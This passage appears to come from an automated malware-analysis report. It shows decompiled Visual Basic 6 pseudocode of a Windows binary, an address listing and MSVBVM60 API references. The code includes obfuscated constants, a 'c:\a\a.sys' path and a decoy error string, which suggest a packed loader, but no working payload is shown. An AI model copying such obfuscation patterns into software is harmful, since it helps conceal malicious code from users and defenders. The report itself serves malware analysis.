				_t797 =  *((intOrPtr*)( *_v308 + 0x158))(_v308,  &_v80, _t793,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x338))( *_v472));
				asm("fclex");
				_v312 = _t797;
				if(_v312 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x40d7b0);
					_push(_v308);
					_push(_v312);
					L004013FC();
					_v476 = _t797;
				}
				if( *0x413010 != 0) {
					_v480 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v480 = 0x413010;
				}
				_t801 =  &_v104;
				L00401408();
				_v316 = _t801;
				_t805 =  *((intOrPtr*)( *_v316 + 0x128))(_v316,  &_v248, _t801,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x380))( *_v480));
				asm("fclex");
				_v320 = _t805;
				if(_v320 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x40d6a8);
					_push(_v316);
					_push(_v320);
					L004013FC();
					_v484 = _t805;
				}
				if( *0x413010 != 0) {
					_v488 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v488 = 0x413010;
				}
				_t809 =  &_v108;
				L00401408();
				_v324 = _t809;
				_t813 =  *((intOrPtr*)( *_v324 + 0x60))(_v324,  &_v260, _t809,  *((intOrPtr*)( *((intOrPtr*)( *_v488)) + 0x358))( *_v488));
				asm("fclex");
				_v328 = _t813;
				if(_v328 >= 0) {
					_v492 = _v492 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40d7c0);
					_push(_v324);
					_push(_v328);
					L004013FC();
					_v492 = _t813;
				}
				_v280 =  *0x4011d0;
				_v272 = _v260;
				_v384 = _v80;
				_v80 = _v80 & 0x00000000;
				L004013E4();
				_v268 = _v256;
				_v264 =  *0x4011c8;
				_v252 = _v240;
				 *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v252,  &_v264, _v244,  &_v268,  &_v84, _v248,  &_v272, 0x2778,  &_v280);
				L004013F0();
				_push( &_v108);
				_push( &_v104);
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push( &_v88);
				_push(6);
				L004013EA();
				_t1104 = _t1103 + 0x1c;
				_v8 = 0xa;
				if( *0x413010 != 0) {
					_v496 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v496 = 0x413010;
				}
				_t836 =  &_v88;
				L00401408();
				_v284 = _t836;
				_t840 =  *((intOrPtr*)( *_v284 + 0x90))(_v284,  &_v240, _t836,  *((intOrPtr*)( *((intOrPtr*)( *_v496)) + 0x30c))( *_v496));
				asm("fclex");
				_v288 = _t840;
				if(_v288 >= 0) {
					_v500 = _v500 & 0x00000000;
				} else {
					_push(0x90);
					_push(0x40d7a0);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v500 = _t840;
				}
				if( *0x413010 != 0) {
					_v504 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v504 = 0x413010;
				}
				_t844 =  &_v92;
				L00401408();
				_v292 = _t844;
				_t848 =  *((intOrPtr*)( *_v292 + 0x70))(_v292,  &_v256, _t844,  *((intOrPtr*)( *((intOrPtr*)( *_v504)) + 0x388))( *_v504));
				asm("fclex");
				_v296 = _t848;
				if(_v296 >= 0) {
					_v508 = _v508 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x40d7d0);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v508 = _t848;
				}
				if( *0x413010 != 0) {
					_v512 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v512 = 0x413010;
				}
				_t852 =  &_v96;
				L00401408();
				_v300 = _t852;
				_t856 =  *((intOrPtr*)( *_v300 + 0x110))(_v300,  &_v80, _t852,  *((intOrPtr*)( *((intOrPtr*)( *_v512)) + 0x344))( *_v512));
				asm("fclex");
				_v304 = _t856;
				if(_v304 >= 0) {
					_v516 = _v516 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x40d7e0);
					_push(_v300);
					_push(_v304);
					L004013FC();
					_v516 = _t856;
				}
				if( *0x413010 != 0) {
					_v520 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v520 = 0x413010;
				}
				_t860 =  &_v100;
				L00401408();
				_v308 = _t860;
				_t864 =  *((intOrPtr*)( *_v308 + 0x138))(_v308,  &_v260, _t860,  *((intOrPtr*)( *((intOrPtr*)( *_v520)) + 0x340))( *_v520));
				asm("fclex");
				_v312 = _t864;
				if(_v312 >= 0) {
					_v524 = _v524 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x40d7f0);
					_push(_v308);
					_push(_v312);
					L004013FC();
					_v524 = _t864;
				}
				L004013CC();
				_v244 = 0x510b;
				_v264 = _v256;
				_t871 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4, 0x6e16, 0x365a, _v240,  &_v264, _v80, 0x3b06e4,  &_v244, _v260,  &_v84,  &_v268);
				_v316 = _t871;
				if(_v316 >= 0) {
					_v528 = _v528 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x40d16c);
					_push(_a4);
					_push(_v316);
					L004013FC();
					_v528 = _t871;
				}
				_v76 = _v268;
				_push( &_v84);
				_push( &_v80);
				_push(2);
				L004013C6();
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push( &_v88);
				_push(4);
				L004013EA();
				_t1106 = _t1104 + 0x20;
				_v8 = 0xb;
				if( *0x413010 != 0) {
					_v532 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v532 = 0x413010;
				}
				_t881 =  &_v88;
				L00401408();
				_v284 = _t881;
				_t885 =  *((intOrPtr*)( *_v284 + 0x100))(_v284,  &_v256, _t881,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x334))( *_v532));
				asm("fclex");
				_v288 = _t885;
				if(_v288 >= 0) {
					_v536 = _v536 & 0x00000000;
				} else {
					_push(0x100);
					_push(0x40d7a0);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v536 = _t885;
				}
				if( *0x413010 != 0) {
					_v540 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v540 = 0x413010;
				}
				_t889 =  &_v92;
				L00401408();
				_v292 = _t889;
				_t893 =  *((intOrPtr*)( *_v292 + 0x60))(_v292,  &_v260, _t889,  *((intOrPtr*)( *((intOrPtr*)( *_v540)) + 0x364))( *_v540));
				asm("fclex");
				_v296 = _t893;
				if(_v296 >= 0) {
					_v544 = _v544 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40d81c);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v544 = _t893;
				}
				_v264 = _v260;
				_t898 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4, _v256, 0x7da064,  &_v264);
				_v300 = _t898;
				if(_v300 >= 0) {
					_v548 = _v548 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x40d16c);
					_push(_a4);
					_push(_v300);
					L004013FC();
					_v548 = _t898;
				}
				_push( &_v92);
				_push( &_v88);
				_push(2);
				L004013EA();
				_t1107 = _t1106 + 0xc;
				_v8 = 0xc;
				if( *0x413010 != 0) {
					_v552 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v552 = 0x413010;
				}
				_t904 =  &_v88;
				L00401408();
				_v284 = _t904;
				_t908 =  *((intOrPtr*)( *_v284 + 0x178))(_v284,  &_v92, _t904,  *((intOrPtr*)( *((intOrPtr*)( *_v552)) + 0x32c))( *_v552));
				asm("fclex");
				_v288 = _t908;
				if(_v288 >= 0) {
					_v556 = _v556 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x40d6a8);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v556 = _t908;
				}
				_push(0);
				_push(0);
				_push(_v92);
				_push( &_v124); // executed
				L004013C0(); // executed
				_t1108 = _t1107 + 0x10;
				if( *0x413010 != 0) {
					_v560 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v560 = 0x413010;
				}
				_t913 =  &_v96;
				L00401408();
				_v292 = _t913;
				_t917 =  *((intOrPtr*)( *_v292 + 0x60))(_v292,  &_v256, _t913,  *((intOrPtr*)( *((intOrPtr*)( *_v560)) + 0x304))( *_v560));
				asm("fclex");
				_v296 = _t917;
				if(_v296 >= 0) {
					_v564 = _v564 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40d7c0);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v564 = _t917;
				}
				if( *0x413010 != 0) {
					_v568 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v568 = 0x413010;
				}
				_t921 =  &_v100;
				L00401408();
				_v300 = _t921;
				_t925 =  *((intOrPtr*)( *_v300 + 0x100))(_v300,  &_v260, _t921,  *((intOrPtr*)( *((intOrPtr*)( *_v568)) + 0x35c))( *_v568));
				asm("fclex");
				_v304 = _t925;
				if(_v304 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0x100);
					_push(0x40d7a0);
					_push(_v300);
					_push(_v304);
					L004013FC();
					_v572 = _t925;
				}
				_v272 = 0x53d376;
				_v268 = _v256;
				L004013CC();
				_v264 =  *0x4011c4;
				_v240 = 0x9f3;
				_t931 =  &_v124;
				L004013BA();
				L004013E4();
				_t935 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v240, _t931, _t931,  &_v264,  &_v84,  &_v268, _v260,  &_v272);
				_v308 = _t935;
				if(_v308 >= 0) {
					_v576 = _v576 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x40d16c);
					_push(_a4);
					_push(_v308);
					L004013FC();
					_v576 = _t935;
				}
				L004013C6();
				L004013EA();
				_t1110 = _t1108 + 0x20;
				L004013B4();
				_v8 = 0xd;
				E0040D598();
				L004013AE();
				_v8 = 0xe;
				L004013A8();
				_v8 = 0xf;
				_t944 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 0xffffffff, 4,  &_v88,  &_v96,  &_v100,  &_v92, 2,  &_v80,  &_v84);
				asm("fclex");
				_v284 = _t944;
				if(_v284 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x2b4);
					_push(0x40d13c);
					_push(_a4);
					_push(_v284);
					L004013FC();
					_v580 = _t944;
				}
				_v8 = 0x10;
				_t945 =  &_v80;
				L004013A2();
				E0040D4B8(); // executed
				_v256 = _t945;
				L004013AE();
				_v64 = _v256;
				L004013F0();
				_v8 = 0x11;
				_t950 =  *((intOrPtr*)( *_a4 + 0x58))(_a4,  &_v256, 1, _t945, _t945, L"c:\\a\\a.sys", 0, 0x140, 0xc8, 0x10);
				asm("fclex");
				_v284 = _t950;
				if(_v284 >= 0) {
					_v584 = _v584 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x40d13c);
					_push(_a4);
					_push(_v284);
					L004013FC();
					_v584 = _t950;
				}
				_push(_v256);
				E0040D548();
				L004013AE();
				_v8 = 0x12;
				E0040D598();
				L004013AE();
				_v8 = 0x13;
				_push(_v64);
				_push(2);
				E0040D5E4();
				L004013AE();
				_v8 = 0x14;
				_push(2);
				E0040D638();
				_v256 = _t950;
				L004013AE();
				_v8 = 0x16;
				E0040D500();
				L004013AE();
				_v8 = 0x17;
				if( *0x41331c != 0) {
					_v588 = 0x41331c;
				} else {
					_push(0x41331c);
					_push(0x40d6f0);
					L00401402();
					_v588 = 0x41331c;
				}
				_v284 =  *_v588;
				_t956 =  *((intOrPtr*)( *_v284 + 0x1c))(_v284,  &_v88);
				asm("fclex");
				_v288 = _t956;
				if(_v288 >= 0) {
					_v592 = _v592 & 0x00000000;
				} else {
					_push(0x1c);
					_push(0x40d6e0);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v592 = _t956;
				}
				_v292 = _v88;
				_v180 = 2;
				_v188 = 3;
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t962 =  *((intOrPtr*)( *_v292 + 0x54))(_v292, 0x10,  &_v92);
				asm("fclex");
				_v296 = _t962;
				if(_v296 >= 0) {
					_v596 = _v596 & 0x00000000;
				} else {
					_push(0x54);
					_push(0x40d700);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v596 = _t962;
				}
				_v388 = _v92;
				_v92 = _v92 & 0x00000000;
				_t964 =  &_v96;
				L00401408();
				_t967 =  *((intOrPtr*)( *_a4 + 0x154))(_a4, _t964, _t964, _v388);
				asm("fclex");
				_v300 = _t967;
				if(_v300 >= 0) {
					_v600 = _v600 & 0x00000000;
				} else {
					_push(0x154);
					_push(0x40d13c);
					_push(_a4);
					_push(_v300);
					L004013FC();
					_v600 = _t967;
				}
				_push( &_v96);
				_push( &_v88);
				_push(2);
				L004013EA();
				_t1111 = _t1110 + 0xc;
				_v8 = 0x18;
				_v180 = 1;
				_v188 = 2;
				_v196 = 0x1c977;
				_v204 = 3;
				_v212 = _v212 & 0x00000000;
				_v220 = 2;
				_push( &_v188);
				_push( &_v204);
				_push( &_v220);
				_push( &_v360);
				_push( &_v344);
				_t975 =  &_v52;
				_push(_t975);
				L0040139C();
				_v392 = _t975;
				while(_v392 != 0) {
					_v8 = 0x19;
					if(_v64 == 0x91b) {
						_v8 = 0x1a;
						_v164 = 0x80020004;
						_v172 = 0xa;
						_v148 = 0x80020004;
						_v156 = 0xa;
						_v132 = 0x80020004;
						_v140 = 0xa;
						_v180 = L"There was an error while loading the bitmap";
						_v188 = 8;
						L00401390();
						_push( &_v172);
						_push( &_v156);
						_push( &_v140);
						_push(0);
						_push( &_v124);
						L00401396();
						_push( &_v172);
						_push( &_v156);
						_push( &_v140);
						_push( &_v124);
						_push(4);
						L0040138A();
						_t1111 = _t1111 + 0x14;
					}
					_v8 = 0x1c;
					E0040D500();
					L004013AE();
					_v8 = 0x1d;
					_push( &_v360);
					_push( &_v344);
					_t975 =  &_v52;
					_push(_t975);
					L00401384();
					_v392 = _t975;
				}
				_v8 = 0x1e;
				_v12 = 0xffd42219;
				_v12 = _v12 + 0x6c1c73;
				_push(_v12);
				return _t975;
			}

0x0040f537
0x0040f546
0x0040f552
0x0040f55a
0x0040f55d
0x0040f56a
0x0040f573
0x0040f576
0x0040f585
0x0040f588
0x0040f58f
0x0040f59d
0x0040f5ba
0x0040f59f
0x0040f59f
0x0040f5a4
0x0040f5a9
0x0040f5ae
0x0040f5ae
0x0040f5d4
0x0040f5de
0x0040f5e2
0x0040f5e7
0x0040f5ed
0x0040f5f7
0x0040f601
0x0040f60b
0x0040f615
0x0040f61f
0x0040f62c
0x0040f639
0x0040f63a
0x0040f63b
0x0040f63c
0x0040f640
0x0040f64d
0x0040f64e
0x0040f64f
0x0040f650
0x0040f654
0x0040f661
0x0040f662
0x0040f663
0x0040f664
0x0040f66c
0x0040f67d
0x0040f683
0x0040f685
0x0040f692
0x0040f6b7
0x0040f694
0x0040f694
0x0040f699
0x0040f69e
0x0040f6a4
0x0040f6aa
0x0040f6af
0x0040f6af
0x0040f6c1
0x0040f6c6
0x0040f6d4
0x0040f6f1
0x0040f6d6
0x0040f6d6
0x0040f6db
0x0040f6e0
0x0040f6e5
0x0040f6e5
0x0040f714
0x0040f715
0x0040f718
0x0040f719
0x0040f71e
0x0040f724
0x0040f72e
0x0040f73f
0x0040f75c
0x0040f741
0x0040f741
0x0040f746
0x0040f74b
0x0040f750
0x0040f750
0x0040f780
0x0040f784
0x0040f789
0x0040f7a1
0x0040f7a4
0x0040f7a6
0x0040f7b3
0x0040f7d5
0x0040f7b5
0x0040f7b5
0x0040f7b7
0x0040f7bc
0x0040f7c2
0x0040f7c8
0x0040f7cd
0x0040f7cd
0x0040f7df
0x0040f7ec
0x0040f7ed
0x0040f7ee
0x0040f7ef
0x0040f801
0x0040f807
0x0040f809
0x0040f816
0x0040f83b
0x0040f818
0x0040f818
0x0040f81d
0x0040f822
0x0040f828
0x0040f82e
0x0040f833
0x0040f833
0x0040f845
0x0040f84d
0x0040f84e
0x0040f851
0x0040f852
0x0040f854
0x0040f859
0x0040f85c
0x0040f863
0x0040f868
0x0040f86d
0x0040f877
0x0040f87c
0x0040f87d
0x0040f882
0x0040f88c
0x0040f894
0x0040f899
0x0040f8a0
0x0040f8a2
0x0040f8a5
0x0040f8af
0x0040f8b4
0x0040f8b5
0x0040f8ba
0x0040f8c1
0x0040f8c7
0x0040f8d1
0x0040f8df
0x0040f8e5
0x0040f8f3
0x0040f910
0x0040f8f5
0x0040f8f5
0x0040f8fa
0x0040f8ff
0x0040f904
0x0040f904
0x0040f922
0x0040f93a
0x0040f93d
0x0040f93f
0x0040f94c
0x0040f96e
0x0040f94e
0x0040f94e
0x0040f950
0x0040f955
0x0040f95b
0x0040f961
0x0040f966
0x0040f966
0x0040f978
0x0040f98c
0x0040f98f
0x0040f991
0x0040f99e
0x0040f9c0
0x0040f9a0
0x0040f9a0
0x0040f9a2
0x0040f9a7
0x0040f9ad
0x0040f9b3
0x0040f9b8
0x0040f9b8
0x0040f9ca
0x0040f9ca
0x0040f9cf
0x0040f9dd
0x0040f9fa
0x0040f9df
0x0040f9df
0x0040f9e4
0x0040f9e9
0x0040f9ee
0x0040f9ee
0x0040fa1e
0x0040fa22
0x0040fa27
0x0040fa42
0x0040fa45
0x0040fa47
0x0040fa54
0x0040fa76
0x0040fa56
0x0040fa56
0x0040fa58
0x0040fa5d
0x0040fa63
0x0040fa69
0x0040fa6e
0x0040fa6e
0x0040fa84
0x0040faa1
0x0040fa86
0x0040fa86
0x0040fa8b
0x0040fa90
0x0040fa95
0x0040fa95
0x0040fac5
0x0040fac9
0x0040face
0x0040fae9
0x0040faef
0x0040faf1
0x0040fafe
0x0040fb23
0x0040fb00
0x0040fb00
0x0040fb05
0x0040fb0a
0x0040fb10
0x0040fb16
0x0040fb1b
0x0040fb1b
0x0040fb2a
0x0040fb3c
0x0040fb46
0x0040fb49
0x0040fb74
0x0040fb92
0x0040fb9f
0x0040fba6
0x0040fbaa
0x0040fbab
0x0040fbad
0x0040fbb8
0x0040fbbc
0x0040fbbd
0x0040fbbf
0x0040fbc4
0x0040fbc7
0x0040fbd5
0x0040fbf2
0x0040fbd7
0x0040fbd7
0x0040fbdc
0x0040fbe1
0x0040fbe6
0x0040fbe6
0x0040fc16
0x0040fc1a
0x0040fc1f
0x0040fc3a
0x0040fc40
0x0040fc42
0x0040fc4f
0x0040fc74
0x0040fc51
0x0040fc51
0x0040fc56
0x0040fc5b
0x0040fc61
0x0040fc67
0x0040fc6c
0x0040fc6c
0x0040fc82
0x0040fc9f
0x0040fc84
0x0040fc84
0x0040fc89
0x0040fc8e
0x0040fc93
0x0040fc93
0x0040fcc3
0x0040fcc7
0x0040fccc
0x0040fce7
0x0040fced
0x0040fcef
0x0040fcfc
0x0040fd21
0x0040fcfe
0x0040fcfe
0x0040fd03
0x0040fd08
0x0040fd0e
0x0040fd14
0x0040fd19
0x0040fd19
0x0040fd2f
0x0040fd4c
0x0040fd31
0x0040fd31
0x0040fd36
0x0040fd3b
0x0040fd40
0x0040fd40
0x0040fd70
0x0040fd74
0x0040fd79
0x0040fd94
0x0040fd9a
0x0040fd9c
0x0040fda9
0x0040fdce
0x0040fdab
0x0040fdab
0x0040fdb0
0x0040fdb5
0x0040fdbb
0x0040fdc1
0x0040fdc6
0x0040fdc6
0x0040fddc
0x0040fdf9
0x0040fdde
0x0040fdde
0x0040fde3
0x0040fde8
0x0040fded
0x0040fded
0x0040fe1d
0x0040fe21
0x0040fe26
0x0040fe3e
0x0040fe44
0x0040fe46
0x0040fe53
0x0040fe78
0x0040fe55
0x0040fe55
0x0040fe5a
0x0040fe5f
0x0040fe65
0x0040fe6b
0x0040fe70
0x0040fe70
0x0040fe86
0x0040fea3
0x0040fe88
0x0040fe88
0x0040fe8d
0x0040fe92
0x0040fe97
0x0040fe97
0x0040fec7
0x0040fecb
0x0040fed0
0x0040feeb
0x0040fef1
0x0040fef3
0x0040ff00
0x0040ff25
0x0040ff02
0x0040ff02
0x0040ff07
0x0040ff0c
0x0040ff12
0x0040ff18
0x0040ff1d
0x0040ff1d
0x0040ff33
0x0040ff50
0x0040ff35
0x0040ff35
0x0040ff3a
0x0040ff3f
0x0040ff44
0x0040ff44
0x0040ff74
0x0040ff78
0x0040ff7d
0x0040ff98
0x0040ff9b
0x0040ff9d
0x0040ffaa
0x0040ffcc
0x0040ffac
0x0040ffac
0x0040ffae
0x0040ffb3
0x0040ffb9
0x0040ffbf
0x0040ffc4
0x0040ffc4
0x0040ffd9
0x0040ffe5
0x0040ffee
0x0040fff4
0x00410001
0x0041000c
0x00410018
0x00410025
0x0041006c
0x00410075
0x0041007d
0x00410081
0x00410085
0x00410089
0x0041008d
0x00410091
0x00410092
0x00410094
0x00410099
0x0041009c
0x004100aa
0x004100c7
0x004100ac
0x004100ac
0x004100b1
0x004100b6
0x004100bb
0x004100bb
0x004100eb
0x004100ef
0x004100f4
0x0041010f
0x00410115
0x00410117
0x00410124
0x00410149
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410136
0x0041013c
0x00410141
0x00410141
0x00410157
0x00410174
0x00410159
0x00410159
0x0041015e
0x00410163
0x00410168
0x00410168
0x00410198
0x0041019c
0x004101a1
0x004101bc
0x004101bf
0x004101c1
0x004101ce
0x004101f0
0x004101d0
0x004101d0
0x004101d2
0x004101d7
0x004101dd
0x004101e3
0x004101e8
0x004101e8
0x004101fe
0x0041021b
0x00410200
0x00410200
0x00410205
0x0041020a
0x0041020f
0x0041020f
0x0041023f
0x00410243
0x00410248
0x00410260
0x00410266
0x00410268
0x00410275
0x0041029a
0x00410277
0x00410277
0x0041027c
0x00410281
0x00410287
0x0041028d
0x00410292
0x00410292
0x004102a8
0x004102c5
0x004102aa
0x004102aa
0x004102af
0x004102b4
0x004102b9
0x004102b9
0x004102e9
0x004102ed
0x004102f2
0x0041030d
0x00410313
0x00410315
0x00410322
0x00410347
0x00410324
0x00410324
0x00410329
0x0041032e
0x00410334
0x0041033a
0x0041033f
0x0041033f
0x00410356
0x0041035b
0x0041036a
0x004103af
0x004103b5
0x004103c2
0x004103e4
0x004103c4
0x004103c4
0x004103c9
0x004103ce
0x004103d1
0x004103d7
0x004103dc
0x004103dc
0x004103f1
0x004103f7
0x004103fb
0x004103fc
0x004103fe
0x00410409
0x0041040d
0x00410411
0x00410415
0x00410416
0x00410418
0x0041041d
0x00410420
0x0041042e
0x0041044b
0x00410430
0x00410430
0x00410435
0x0041043a
0x0041043f
0x0041043f
0x0041046f
0x00410473
0x00410478
0x00410493
0x00410499
0x0041049b
0x004104a8
0x004104cd
0x004104aa
0x004104aa
0x004104af
0x004104b4
0x004104ba
0x004104c0
0x004104c5
0x004104c5
0x004104db
0x004104f8
0x004104dd
0x004104dd
0x004104e2
0x004104e7
0x004104ec
0x004104ec
0x0041051c
0x00410520
0x00410525
0x00410540
0x00410543
0x00410545
0x00410552
0x00410574
0x00410554
0x00410554
0x00410556
0x0041055b
0x00410561
0x00410567
0x0041056c
0x0041056c
0x00410581
0x004105a1
0x004105a7
0x004105b4
0x004105d6
0x004105b6
0x004105b6
0x004105bb
0x004105c0
0x004105c3
0x004105c9
0x004105ce
0x004105ce
0x004105e0
0x004105e4
0x004105e5
0x004105e7
0x004105ec
0x004105ef
0x004105fd
0x0041061a
0x004105ff
0x004105ff
0x00410604
0x00410609
0x0041060e
0x0041060e
0x0041063e
0x00410642
0x00410647
0x0041065f
0x00410665
0x00410667
0x00410674
0x00410699
0x00410676
0x00410676
0x0041067b
0x00410680
0x00410686
0x0041068c
0x00410691
0x00410691
0x004106a0
0x004106a2
0x004106a4
0x004106aa
0x004106ab
0x004106b0
0x004106ba
0x004106d7
0x004106bc
0x004106bc
0x004106c1
0x004106c6
0x004106cb
0x004106cb
0x004106fb
0x004106ff
0x00410704
0x0041071f
0x00410722
0x00410724
0x00410731
0x00410753
0x00410733
0x00410733
0x00410735
0x0041073a
0x00410740
0x00410746
0x0041074b
0x0041074b
0x00410761
0x0041077e
0x00410763
0x00410763
0x00410768
0x0041076d
0x00410772
0x00410772
0x004107a2
0x004107a6
0x004107ab
0x004107c6
0x004107cc
0x004107ce
0x004107db
0x00410800
0x004107dd
0x004107dd
0x004107e2
0x004107e7
0x004107ed
0x004107f3
0x004107f8
0x004107f8
0x00410807
0x00410817
0x00410825
0x00410830
0x00410836
0x0041085e
0x00410862
0x0041086c
0x00410881
0x00410887
0x00410894
0x004108b6
0x00410896
0x00410896
0x0041089b
0x004108a0
0x004108a3
0x004108a9
0x004108ae
0x004108ae
0x004108c7
0x004108e1
0x004108e6
0x004108ec
0x004108f1
0x004108f8
0x004108fd
0x00410902
0x0041090b
0x00410910
0x0041091f
0x00410925
0x00410927
0x00410934
0x00410956
0x00410936
0x00410936
0x0041093b
0x00410940
0x00410943
0x00410949
0x0041094e
0x0041094e
0x0041095d
0x00410977
0x0041097b
0x00410983
0x00410988
0x0041098e
0x00410999
0x0041099f
0x004109a4
0x004109ba
0x004109bd
0x004109bf
0x004109cc
0x004109eb
0x004109ce
0x004109ce
0x004109d0
0x004109d5
0x004109d8
0x004109de
0x004109e3
0x004109e3
0x004109f2
0x004109f8
0x004109fd
0x00410a02
0x00410a09
0x00410a0e
0x00410a13
0x00410a1a
0x00410a1d
0x00410a1f
0x00410a24
0x00410a29
0x00410a30
0x00410a32
0x00410a37
0x00410a3d
0x00410a42
0x00410a49
0x00410a4e
0x00410a53
0x00410a61
0x00410a7e
0x00410a63
0x00410a63
0x00410a68
0x00410a6d
0x00410a72
0x00410a72
0x00410a90
0x00410aa8
0x00410aab
0x00410aad
0x00410aba
0x00410adc
0x00410abc
0x00410abc
0x00410abe
0x00410ac3
0x00410ac9
0x00410acf
0x00410ad4
0x00410ad4
0x00410ae6
0x00410aec
0x00410af6
0x00410b07
0x00410b14
0x00410b15
0x00410b16
0x00410b17
0x00410b26
0x00410b29
0x00410b2b
0x00410b38
0x00410b5a
0x00410b3a
0x00410b3a
0x00410b3c
0x00410b41
0x00410b47
0x00410b4d
0x00410b52
0x00410b52
0x00410b64
0x00410b6a
0x00410b74
0x00410b78
0x00410b86
0x00410b8c
0x00410b8e
0x00410b9b
0x00410bbd
0x00410b9d
0x00410b9d
0x00410ba2
0x00410ba7
0x00410baa
0x00410bb0
0x00410bb5
0x00410bb5
0x00410bc7
0x00410bcb
0x00410bcc
0x00410bce
0x00410bd3
0x00410bd6
0x00410bdd
0x00410be7
0x00410bf1
0x00410bfb
0x00410c05
0x00410c0c
0x00410c1c
0x00410c23
0x00410c2a
0x00410c31
0x00410c38
0x00410c39
0x00410c3c
0x00410c3d
0x00410c42
0x00410d3b
0x00410c4d
0x00410c5b
0x00410c61
0x00410c68
0x00410c72
0x00410c7c
0x00410c86
0x00410c90
0x00410c97
0x00410ca1
0x00410cab
0x00410cbe
0x00410cc9
0x00410cd0
0x00410cd7
0x00410cd8
0x00410cdd
0x00410cde
0x00410ce9
0x00410cf0
0x00410cf7
0x00410cfb
0x00410cfc
0x00410cfe
0x00410d03
0x00410d03
0x00410d06
0x00410d0d
0x00410d12
0x00410d17
0x00410d24
0x00410d2b
0x00410d2c
0x00410d2f
0x00410d30
0x00410d35
0x00410d35
0x00410d48
0x00410d4f
0x00410d56
0x00410d5d
0x00410d60

APIs

__vbaChkstk.MSVBVM60(?,00401276), ref: 0040F552
__vbaNew2.MSVBVM60(0040DBCC,00413010,?,?,?,?,00401276), ref: 0040F5A9
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F5E2
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040F62C
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040F640
__vbaChkstk.MSVBVM60(?,00000000), ref: 0040F654
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D698,000001E4,?,?,00000000), ref: 0040F6AA
__vbaFreeObj.MSVBVM60(?,?,00000000), ref: 0040F6C1
__vbaNew2.MSVBVM60(0040DBCC,00413010,?,?,00000000), ref: 0040F6E0
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 0040F719
__vbaNew2.MSVBVM60(0040DBCC,00413010,?,00000000,?,?,00000000), ref: 0040F74B
__vbaObjSet.MSVBVM60(?,00000000,?,?,00000000), ref: 0040F784
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D698,00000048,?,?,00000000), ref: 0040F7C8
__vbaChkstk.MSVBVM60(?,?,00000000), ref: 0040F7DF
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040D6A8,000001EC,?,?,00000000), ref: 0040F82E
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000), ref: 0040F845
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,00000000), ref: 0040F854
__vbaStrCat.MSVBVM60(0040D6C4,0040D6BC,?,?,00401276), ref: 0040F86D
__vbaStrMove.MSVBVM60(0040D6C4,0040D6BC,?,?,00401276), ref: 0040F877
__vbaStrCat.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F882
__vbaStrMove.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F88C
__vbaFreeStr.MSVBVM60(0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F894
#514.MSVBVM60(?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F8A5
__vbaStrMove.MSVBVM60(?,00000002,0040D6CC,00000000,0040D6C4,0040D6BC,?,?,00401276), ref: 0040F8AF
